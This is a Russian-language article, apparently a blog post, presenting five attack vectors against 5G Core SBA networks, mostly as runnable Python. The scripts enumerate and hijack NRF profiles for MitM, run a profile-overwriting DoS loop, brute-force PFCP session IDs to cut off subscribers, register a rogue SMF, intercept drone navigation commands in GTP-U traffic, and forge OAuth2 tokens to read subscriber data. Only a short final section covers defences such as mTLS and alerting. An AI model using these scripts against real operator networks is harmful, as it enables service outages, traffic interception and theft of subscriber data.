
41
5G – это не просто «быстрый интернет». Это полный архитектурный переворот, где каждый элемент сети стал микросервисом, общающимся через REST API и HTTP/2. И именно это превращает SBA в золотую жилу для атакующего.
Что такое SBA и почему это важно
Service Based Architecture – это концепция, при которой все сетевые функции (Network Functions, NF) объединены в единую шину и взаимодействуют через HTTP/2 + REST API, а не через жёстко заданные point-to-point интерфейсы, как в 4G. Центр всей этой схемы – NRF (Network Repository Function): реестр, куда каждый NF регистрируется, публикует свои возможности и откуда другие NF его находят.
|
1 2 3 4 5 6 7 8 |
┌─────────────────────────────────────────────────────┐ │ 5G Core SBA Bus │ │ │ │ AMF ─── SMF ─── UDM ─── PCF ─── AUSF ─── NEF │ │ \ | / / / │ │ └─────┴──── NRF ───┴───────┘ │ │ (реестр всех NF) │ └─────────────────────────────────────────────────────┘ |
Вектор 1: NRF Manipulation (NF Instance Profile Update)
Это самая мощная атака на SBA, обнаруженная командой SecurityGen в реальных production-сетях в 2023 году и подтверждённая на четырёх операторских аудитах.
Суть: Из-за отсутствия TLS и авторизации в большинстве продакшн-сетей атакующий, попавший в сегмент SBA, может напрямую обращаться к NRF через HTTP. Это позволяет читать топологию, изменять профили NF и перенаправлять трафик на rogue-ноду.
CVSS 3.0 Score: 8.2 (AV:A/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:H)
Шаг 1 – Reconnaissance: перечисление всех NF
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
import httpx import json NRF_URL = "http://nrf.5gc.mnc001.mcc001.3gppnetwork.org:8000" def enumerate_nf_instances(): """Получаем список всех зарегистрированных Network Functions""" resp = httpx.get(f"{NRF_URL}/nnrf-nfm/v1/nf-instances") if resp.status_code == 200: data = resp.json() instances = data.get("_links", {}).get("item", []) print(f"[+] Найдено NF instances: {len(instances)}") for item in instances: print(f" => {item.get('href')}") return instances else: print(f"[-] Ошибка: {resp.status_code}") return [] instances = enumerate_nf_instances() |
Шаг 2 – Профилирование: извлечение NFProfile
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
def get_nf_profile(nf_instance_id): """Получаем полный профиль сетевой функции""" resp = httpx.get(f"{NRF_URL}/nnrf-nfm/v1/nf-instances/{nf_instance_id}") if resp.status_code == 200: profile = resp.json() print(f"[+] NFProfile for {nf_instance_id}:") print(f" NF Type: {profile.get('nfType')}") print(f" IP: {profile.get('ipv4Addresses')}") print(f" Services: {[s.get('serviceName') for s in profile.get('nfServices', [])]}") return profile return None # Получаем топологию всей сети одним махом for inst in instances: nf_id = inst['href'].split('/')[-1] get_nf_profile(nf_id) |
Шаг 3 – Exploitation: MitM через замену IP
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
def hijack_nf_traffic(nf_instance_id, attacker_ip, original_profile): """ Меняем IP в NFProfile целевой NF на адрес атакующего. После следующего NF Discovery другие NF будут слать трафик нам. Аналог ARP Poisoning, но в 5G Core. """ malicious_profile = original_profile.copy() malicious_profile["ipv4Addresses"] = [attacker_ip] # Также меняем IP в nfServices for service in malicious_profile.get("nfServices", []): for endpoint in service.get("ipEndPoints", []): endpoint["ipv4Address"] = attacker_ip resp = httpx.put( f"{NRF_URL}/nnrf-nfm/v1/nf-instances/{nf_instance_id}", json=malicious_profile, headers={"Content-Type": "application/json"} ) if resp.status_code == 200: print(f"[+] SUCCESS! Трафик целевой NF теперь идёт на {attacker_ip}") print(f"[+] Атакующий в MitM-позиции. Ждём NF Discovery от других нод...") else: print(f"[-] Ошибка: {resp.status_code} - {resp.text}") # DoS вариант: непрерывно перезаписываем профиль мусором import time def continuous_dos(nf_instance_id, original_profile, duration_sec=60): """Непрерывный DoS: обновляем профиль NF каждые 30 сек""" garbage_profile = original_profile.copy() garbage_profile["ipv4Addresses"] = ["192.168.255.254"] # несуществующий IP end_time = time.time() + duration_sec while time.time() < end_time: resp = httpx.put( f"{NRF_URL}/nnrf-nfm/v1/nf-instances/{nf_instance_id}", json=garbage_profile ) print(f"[+] DoS pulse sent: {resp.status_code} | Time left: {int(end_time - time.time())}s") time.sleep(25) # NF обновляет свой профиль примерно раз в 30 сек |
Вектор 2: N4/PFCP Interface Attack
N4 – интерфейс между SMF и UPF, работающий по PFCP поверх UDP/8805. По 3GPP спецификации, операторы сами решают, применять ли IPsec или доверять физической изоляции. В реальных деплоях – чаще всего доверяют, и напрасно.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 |
import socket import struct import os PFCP_PORT = 8805 def craft_pfcp_association_request(seq_num=1): """ PFCP Association Setup Request — первый шаг: регистрируемся как легитимный SMF рядом с настоящим. """ # PFCP Header: Version=1, MP=0, S=0, FO=0, MessageType=5 (Assoc Setup Req) version_flags = 0x20 # version=1 msg_type = 5 # Association Setup Request seq_bytes = struct.pack(">I", seq_num)[1:] # 3 bytes sequence # IE: Node ID (Type=60, IPv4) node_id_ie = ( struct.pack(">H", 60) + # IE Type: Node ID struct.pack(">H", 5) + # IE Length: 5 bytes([0x00]) + # Node ID Type: IPv4 socket.inet_aton("10.0.0.99") # Наш IP как "SMF" ) # IE: Recovery Time Stamp (Type=96) import time ts = int(time.time()) + 2208988800 # NTP epoch offset recovery_ie = ( struct.pack(">H", 96) + struct.pack(">H", 4) + struct.pack(">I", ts) ) body = node_id_ie + recovery_ie header = bytes([version_flags, msg_type]) + struct.pack(">H", len(body) + 4) + seq_bytes + bytes([0]) return header + body def send_pfcp_and_enumerate_sessions(upf_ip): """ После Association Setup — брутфорсим SEID для Session Deletion Request. Каждый успешный ответ 'Request Accepted' = убитая PDU Session абонента. """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(1.0) # Шаг 1: Association Setup assoc_req = craft_pfcp_association_request() sock.sendto(assoc_req, (upf_ip, PFCP_PORT)) try: resp, _ = sock.recvfrom(4096) print(f"[+] PFCP Association response received ({len(resp)} bytes)") except socket.timeout: print("[-] No association response — может, есть фильтрация") return # Шаг 2: Bruteforce SEID для Session Deletion # PFCP Session Deletion Request: msg_type=54 killed_sessions = 0 for seid in range(1, 1000): # Упрощённый Session Deletion Request del_req = bytes([0x21, 54]) + struct.pack(">H", 12) + \ struct.pack(">I", seid) + os.urandom(4) sock.sendto(del_req, (upf_ip, PFCP_PORT)) try: resp, _ = sock.recvfrom(1024) # Cause IE (type=19): если value=1 — Request Accepted if b'\x00\x13\x00\x01\x01' in resp: print(f"[+] Session SEID={seid} DELETED — абонент отключён!") killed_sessions += 1 except socket.timeout: pass print(f"\n[!] Итого уничтожено сессий: {killed_sessions}") sock.close() |
Вектор 3: Rogue NF Registration
Архитектурная гибкость SBA предполагает, что любой NF может зарегистрироваться в NRF и начать оказывать сервисы. Без должной авторизации это позволяет внедрить мошеннический NF, который перехватывает запросы.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 |
import httpx import uuid NRF_URL = "http://nrf.5gc.mnc001.mcc001.3gppnetwork.org:8000" ATTACKER_IP = "10.10.10.99" def register_rogue_smf(): """ Регистрируем поддельный SMF в NRF. Другие NF начнут обращаться к нашему SMF через NF Discovery. """ rogue_nf_id = str(uuid.uuid4()) nf_profile = { "nfInstanceId": rogue_nf_id, "nfType": "SMF", "nfStatus": "REGISTERED", "plmnList": [{"mcc": "001", "mnc": "01"}], "ipv4Addresses": [ATTACKER_IP], "capacity": 9999, # Высокий приоритет — нас выберут первым "priority": 1, "nfServices": [ { "serviceInstanceId": str(uuid.uuid4()), "serviceName": "nsmf-pdusession", "versions": [{"apiVersionInUri": "v1", "apiFullVersion": "1.0.0"}], "scheme": "http", "nfServiceStatus": "REGISTERED", "ipEndPoints": [ { "ipv4Address": ATTACKER_IP, "port": 8080 } ] } ], "smfInfo": { "sNssaiSmfInfoList": [ { "sNssai": {"sst": 1, "sd": "000001"}, "dnnSmfInfoList": [{"dnn": "internet"}] } ] } } resp = httpx.put( f"{NRF_URL}/nnrf-nfm/v1/nf-instances/{rogue_nf_id}", json=nf_profile ) if resp.status_code in [200, 201]: print(f"[+] Rogue SMF зарегистрирован! ID: {rogue_nf_id}") print(f"[+] Запускай HTTP-сервер на {ATTACKER_IP}:8080 для перехвата PDU Session запросов") return rogue_nf_id else: print(f"[-] Ошибка регистрации: {resp.status_code}") return None |
Вектор 4: N3/GTP-U Tampering через компрометированный gNodeB
N3 – интерфейс между gNodeB и UPF, несущий GTP-U туннели с пользовательским трафиком. По 3GPP спецификации, IPsec на N3 опционален, и большинство операторов его не включают из соображений производительности.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
from scapy.all import * # Перехват и модификация GTP-U пакетов на компрометированном gNB # Сценарий: подмена MAVLink команд в трафике дрона (реальный кейс из арXiv 2026) def intercept_and_modify_gtpu(interface="eth0"): """ Перехват GTP-U трафика и инъекция изменённых данных. Применяется при физическом/логическом контроле над gNB. """ def modify_packet(pkt): if UDP in pkt and pkt[UDP].dport == 2152: # GTP-U порт gtpu_payload = bytes(pkt[UDP].payload) # GTP-U Header: первый байт содержит флаги if len(gtpu_payload) > 8: gtp_flags = gtpu_payload[0] msg_type = gtpu_payload[1] # msg_type=0xFF — G-PDU (пользовательские данные) if msg_type == 0xFF: # Извлекаем inner IP пакет header_len = 8 if gtp_flags & 0x07: # Ext headers present header_len += 4 inner_packet = gtpu_payload[header_len:] # Ищем MAVLink сигнатуру (0xFE или 0xFD) if len(inner_packet) > 28: # Упрощённый поиск MAVLink MAGIC for i, byte in enumerate(inner_packet): if byte in [0xFE, 0xFD] and i + 8 < len(inner_packet): msg_id = inner_packet[i+5] if byte == 0xFE else inner_packet[i+7] # SET_POSITION_TARGET_LOCAL_NED = ID 84 (0x54) if msg_id == 84: print(f"[!] MAVLink navigation command intercepted! Modifying target coordinates...") # В реальной атаке здесь происходит замена координат # через pymavlink и переупаковка в GTP-U print(f"[*] Listening for GTP-U on {interface}...") sniff(iface=interface, filter="udp port 2152", prn=modify_packet, store=0) |
Вектор 5: OAuth2 Token Abuse в SBA
SBA использует OAuth2 для авторизации между NF. Но в слабых реализациях токены выдаются без надлежащей верификации области видимости.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
import httpx import json NRF_URL = "http://nrf.5gc.mnc001.mcc001.3gppnetwork.org:8000" def request_nf_access_token(consumer_nf_type, target_nf_type, target_service): """ Запрашиваем OAuth2 токен от имени одного NF для доступа к другому. В уязвимых реализациях NRF не проверяет, является ли requestor действительно тем NF, за кого себя выдаёт. """ token_req = { "grant_type": "client_credentials", "nfInstanceId": "deadbeef-dead-beef-dead-beefdeadbeef", # поддельный ID "nfType": consumer_nf_type, # например "AMF" "targetNfType": target_nf_type, # например "UDM" "scope": f"n{target_nf_type.lower()}-{target_service}" # "nudm-sdm" } resp = httpx.post( f"{NRF_URL}/oauth2/token", json=token_req ) if resp.status_code == 200: token_data = resp.json() access_token = token_data.get("access_token") print(f"[+] OAuth2 токен получен!") print(f"[+] Token: {access_token[:50]}...") return access_token else: print(f"[-] Токен не выдан: {resp.status_code}") return None def access_udm_subscriber_data(access_token, supi): """ Используем токен для получения профиля абонента из UDM. SUPI = Subscription Permanent Identifier (формат: imsi-250011234567890) """ UDM_URL = "http://udm.5gc.mnc001.mcc001.3gppnetwork.org:8000" resp = httpx.get( f"{UDM_URL}/nudm-sdm/v2/{supi}/am-data", headers={"Authorization": f"Bearer {access_token}"} ) if resp.status_code == 200: subscriber_data = resp.json() print(f"[+] Данные абонента {supi}:") print(json.dumps(subscriber_data, indent=2)) else: print(f"[-] Ошибка доступа: {resp.status_code}") # Пример цепочки атаки: # token = request_nf_access_token("AMF", "UDM", "sdm") # access_udm_subscriber_data(token, "imsi-250011234567890") |
Инструменты для пентеста 5G SBA
| Инструмент | Назначение | Ссылка |
|---|---|---|
| Open5GS | Open-source 5G Core для лаборатории | github.com/open5gs |
| UERANSIM | Эмулятор gNodeB и UE | github.com/aligungr/UERANSIM |
| free5GC | Альтернативный 5G Core | github.com/free5gc |
| Scapy | Крафт PFCP/GTP-U пакетов | scapy.net |
| httpx/requests | REST API запросы к SBA | — |
| MITRE FiGHT™ | База техник атак на 5G | fight.mitre.org |
Развёртывание лаборатории за 5 минут
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
# Kubernetes-based 5G лаборатория (как в арXiv исследовании) # Устанавливаем Kind + kubectl curl -Lo ./kind https://kind.sigs.k8s.io/dl/latest/kind-linux-amd64 chmod +x kind && mv kind /usr/local/bin/ # Поднимаем кластер kind create cluster --name 5glab # Деплоим Open5GS через Helm helm repo add gradiant https://gradiant.github.io/5g-charts/ helm install open5gs gradiant/open5gs # Деплоим UERANSIM (gNB + UE эмулятор) helm install ueransim gradiant/ueransim # Проверяем NRF kubectl exec -it $(kubectl get pod -l app=open5gs-nrf -o jsonpath='{.items[0].metadata.name}') \ -- curl http://localhost:8000/nnrf-nfm/v1/nf-instances |
Защита: как закрыть дыры
По состоянию на 2024–2025 год большинство production 5G SA сетей всё ещё работают на cleartext HTTP без TLS внутри SBA. Вот что нужно сделать немедленно:
/nnrf-nfm/v1/nf-instances/ = триггер алерта|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# Пример nginx как SCP (Service Communication Proxy) с TLS server { listen 443 ssl http2; ssl_certificate /etc/ssl/nf-cert.pem; ssl_certificate_key /etc/ssl/nf-key.pem; ssl_client_certificate /etc/ssl/ca-bundle.pem; ssl_verify_client on; # mTLS — обязательно ssl_protocols TLSv1.3; # Rate limiting для защиты от NRF flooding limit_req zone=sba_limit burst=50 nodelay; location /nnrf-nfm/ { proxy_pass http://nrf-backend:8000; # Валидация JWT OAuth2 токенов auth_jwt "5G SBA"; auth_jwt_key_file /etc/ssl/nrf-jwks.json; } } |
Итог по угрозам
5G Core, работающий без TLS на SBA-интерфейсах – это корпоративная сеть без паролей. Любой, кто попал в сегмент ядра сети (через роуминг-партнёра, скомпрометированный VNF, supply chain или инсайдера), получает полный доступ к топологии, данным абонентов и возможности DoS/MitM всей инфраструктуры. MITRE FiGHT™ – обязательный фреймворк для любого, кто работает с 5G безопасностью.